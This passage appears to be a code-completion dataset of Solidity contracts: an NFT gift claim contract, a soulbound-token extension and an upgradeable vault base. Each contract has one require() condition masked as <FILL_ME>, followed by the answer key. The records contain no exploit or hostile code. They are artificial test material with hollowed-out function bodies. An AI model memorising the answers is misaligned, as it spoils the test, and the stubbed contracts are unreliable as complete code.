function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns (bytes4);
}
interface IERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ITheNFT is IERC721 {
function mint(uint256 i) external;
function getStats(address user) external view returns(uint256[] memory);
}
| verify(_to,root,_proof),"invalid proof" | 255,308 | verify(_to,root,_proof) |
"no nfts available" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/*
*
* π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
* CryptoPunks 5th Birthday π¬π¬π¬
* Gift from tycoon.eth π¬π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
*
* This contract does not read/write into the CryptoPunks contract.
* It does not require any approvals or permissions.
* All distribution is done using a Merkle tree from a snapshot on 10th of
* June 2022.
*
* Simply claim from the address where you had a punk on 10th of June 2022.
* (Your punk does not have to be in the wallet while you claim, it only had
* to be there in the 10th of June)
*
* Claim at: https://thedaonft.eth.limo/punks.html
*
* Only 500 items in the inventory!
*
* What is it? It's a NFT collection created by me, tycoon.eth around November
* 2021.
*
* Like most of you, I've been fascinated with NFTs, so I got curious &
* creative.
* I'm also fascinated about the TheDAO, so I've put the two together,
* See more details at thedaonft.eth.limo
* After completion, the project was handed over to the "DAO Museum Multisig",
* so I don't own it by myself, but as of writing, I'm still one of the signers
* on the multisig and I can change the website.
*
* I mostly give these away to friends, and it's a great conversation starter!
*
* Each NFT has 1 DAO token inside, which is worth 0.01 ETH
* You can burn the NFT to get the DAO token back. (The NFT can be restored,
* but it will cost 4 DAO to restore)
* 1 DAO will always be worth 0.01 ETH because there is a smart contract that
* can instantly redeem 0.01 ETH for every DAO you have.
*
* Oh, if you have multiple addresses and received multiple pieces, consider
* giving a spare to someone who missed out <3
*
* The Curator will shutdown this contract if there are no new claims for
* longer than 30 days.
*
* Happy 5th Birthday CryptoPunks!
*
*
* deployed with:
* _THEDAO 0xbb9bc244d798123fde783fcc1c72d3bb8c189413
* _THENFT 0x79a7d3559d73ea032120a69e59223d4375deb595
*/
contract TheGift {
IERC20 private immutable theDAO;
ITheNFT private immutable theNFT;
mapping(address => uint256) public claims;
address payable public curator;
bytes32 public root;
mapping (uint256 => batch) private inventory;
uint256 public curBatch;
uint256 public nextBatch;
event Claim(address);
struct batch {
uint256 end;
uint256 progress;
}
constructor(address _theDAO, address _theNFT) {
}
modifier onlyCurator {
}
function setRoot(bytes32 _r) external onlyCurator {
}
function setCurator(address _a) external onlyCurator {
}
function bulkMint(uint256 rounds) external onlyCurator {
}
function shutdown(uint256[] calldata _ids, bool _destruct) external onlyCurator {
}
function verify(
address _to,
bytes32 _root,
bytes32[] memory _proof
) public pure returns (bool) {
}
function claim(address _to, bytes32[] memory _proof) external {
require(claims[msg.sender] == 0, "already claimed");
require(verify(_to, root, _proof), "invalid proof");
require(<FILL_ME>)
uint256 id;
batch storage b = inventory[curBatch];
id = b.progress;
theNFT.transferFrom(address(this), _to, id); // will fail if already claimed
emit Claim(_to);
claims[_to] = id;
unchecked { b.progress++; }
if (b.progress >= b.end) {
unchecked { curBatch++; }
}
}
function getStats(address _user, bytes32[] memory _proof) external view returns(uint256[] memory) {
}
}
/*
* @dev Interface of the ERC20 standard as defined in the EIP.
* 0xTycoon was here
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns (bytes4);
}
interface IERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ITheNFT is IERC721 {
function mint(uint256 i) external;
function getStats(address user) external view returns(uint256[] memory);
}
| theNFT.balanceOf(address(this))>0,"no nfts available" | 255,308 | theNFT.balanceOf(address(this))>0 |
"Must be owner or admin" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@manifoldxyz/libraries-solidity/contracts/access/IAdminControl.sol";
/**
* @title Soulbound token
* @author manifold.xyz
* @notice Soulbound shared extension for Manifold Creator contracts.
* Default - Tokens are soulbound but burnable
* Tokens are burnable if they are burnable at the contract level OR the token level
* Tokens are soulbound if they are soulbound at the contract level OR the token level
*/
abstract contract Soulbound {
// Mapping of whether a specific token is no longer soulbound (soulbound by default)
mapping(address => mapping(uint256 => bool)) internal _tokenNonSoulbound;
// Mapping of whether a specific token is not burnable (burnable by default)
mapping(address => mapping(uint256 => bool)) internal _tokenNonBurnable;
// Mapping of whether or not all tokens of a contract is not burnable (burnable by default)
mapping(address => bool) internal _contractNonSoulbound;
// Mapping of whether or not all tokens of a contract is not burnable (burnable by default)
mapping(address => bool) internal _contractNonBurnable;
/**
* @notice This extension is shared, not single-creator. So we must ensure
* that a burn redeems's initializer is an admin on the creator contract
* @param creatorContractAddress the address of the creator contract to check the admin against
*/
modifier creatorAdminRequired(address creatorContractAddress) {
require(<FILL_ME>)
_;
}
/**
* @dev Set whether or not all tokens of a contract are soulbound/burnable
*/
function _configureContract(address creatorContractAddress, bool soulbound, bool burnable) internal {
}
/**
* @dev Set whether or not a token is soulbound/burnable
*/
function configureToken(address creatorContractAddress, uint256 tokenId, bool soulbound, bool burnable) external creatorAdminRequired(creatorContractAddress) {
}
/**
* @dev Set whether or not a set of tokens are soulbound/burnable
*/
function configureToken(address creatorContractAddress, uint256[] memory tokenIds, bool soulbound, bool burnable) external creatorAdminRequired(creatorContractAddress) {
}
}
| IAdminControl(creatorContractAddress).isAdmin(msg.sender),"Must be owner or admin" | 255,470 | IAdminControl(creatorContractAddress).isAdmin(msg.sender) |
'Must be called through delegatecall' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
require(<FILL_ME>)
require(_getImplementation() == __self, 'Must be called through active proxy');
_;
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| address(this)!=__self,'Must be called through delegatecall' | 255,477 | address(this)!=__self |
'Must be called through active proxy' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
require(address(this) != __self, 'Must be called through delegatecall');
require(<FILL_ME>)
_;
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| _getImplementation()==__self,'Must be called through active proxy' | 255,477 | _getImplementation()==__self |
'Must not be called through delegatecall' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
require(<FILL_ME>)
_;
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| address(this)==__self,'Must not be called through delegatecall' | 255,477 | address(this)==__self |
'Caller not maintainer' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
require(<FILL_ME>)
_;
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| AccessControl.hasRole(MAINTAINER_ROLE,msg.sender),'Caller not maintainer' | 255,477 | AccessControl.hasRole(MAINTAINER_ROLE,msg.sender) |
'nextImplementation is already set' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
require(<FILL_ME>)
// prevent unnecessary event emissions & infinite nextImplementation chain
require(
address(nextImplementation) != address(0) && address(nextImplementation) != __self,
'Invalid nextImplementation supplied'
);
__nextImplementation = nextImplementation;
emit NextImplementationSet(nextImplementation);
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| address(__nextImplementation)==address(0),'nextImplementation is already set' | 255,477 | address(__nextImplementation)==address(0) |
'Invalid nextImplementation supplied' | //SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import '@openzeppelin/contracts/interfaces/draft-IERC1822.sol';
import '@openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
/**
* @notice Base logic for the Implementation.
* @dev The actual Implementation must derive from this contract and override `_initialize` and `_migrate` methods if necessary.
*/
abstract contract VaultImplBase is IERC1822Proxiable, ERC1967Upgrade, AccessControl {
// ======================
// VaultImplBase specific
// ======================
bytes32 public constant MAINTAINER_ROLE = keccak256('MAINTAINER_ROLE');
/**
* @notice Set the Implementation deployer as an Admin and Maintainer.
*/
constructor() {
}
address private immutable __self = address(this);
/**
* @notice Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self.
*/
modifier onlyProxy() {
}
/**
* @notice Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
}
/**
* @notice Check that the caller has MAINTAINER_ROLE.
* @dev Role differs depending on the caller. If called via Proxy, then Proxy's storage is checked.
* If called directly, this contract's storage is checked. This logic allows to have a different Proxy and Implementation roles.
*/
modifier onlyMaintainer() {
}
// ======================
// Caller-specific storage
// ======================
/**
* @notice Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
* @dev Grant DEFAULT_ADMIN_ROLE and MAINTAINER_ROLE to the caller. Internal method.
*/
function _setupDeployerRoles() internal {
}
// ======================
// Implementation context storage
// ======================
/**
* @dev Indicates that a next implementation address was set.
* @param nextImplementation Address of a next implementation that was set.
*/
event NextImplementationSet(VaultImplBase indexed nextImplementation);
/** @dev Double underscore enables using the same variable name with a single underscore in a derived contract */
VaultImplBase private __nextImplementation;
/**
* @notice Return next implementation contract address or zero address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call.
* @return VaultImplBase Next implementation contract address or zero address if not set yet.
*/
function getNextImplementation() external view notDelegated returns (VaultImplBase) {
}
/**
* @notice Set next implementation contract address if not set yet.
* NextImplementation points to the next implementation contract in a chain of contracts to allow upgrading.
* @dev Must not be a delegated call. Require caller to be Implementation Maintainer. Must not be zero address or self address.
* Emits `NextImplementationSet` event.
* @param nextImplementation Next implementation contract address.
*/
function setNextImplementation(VaultImplBase nextImplementation)
external
notDelegated
onlyMaintainer
{
require(address(__nextImplementation) == address(0), 'nextImplementation is already set');
// prevent unnecessary event emissions & infinite nextImplementation chain
require(<FILL_ME>)
__nextImplementation = nextImplementation;
emit NextImplementationSet(nextImplementation);
}
/**
* @dev Implementation of the ERC1822 function. This returns the storage slot used by the
* implementation. It is used to validate the implementation's compatibility when performing an upgrade.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
}
// ======================
// Proxy context storage
// ======================
bool private __initialized;
bool private __migrated;
/**
* @notice Override this function for Implementation to initialize any storage variables. Use instead of constructor.
* @dev Can only be called by Proxy.
*/
function _initialize() internal virtual onlyProxy {}
/**
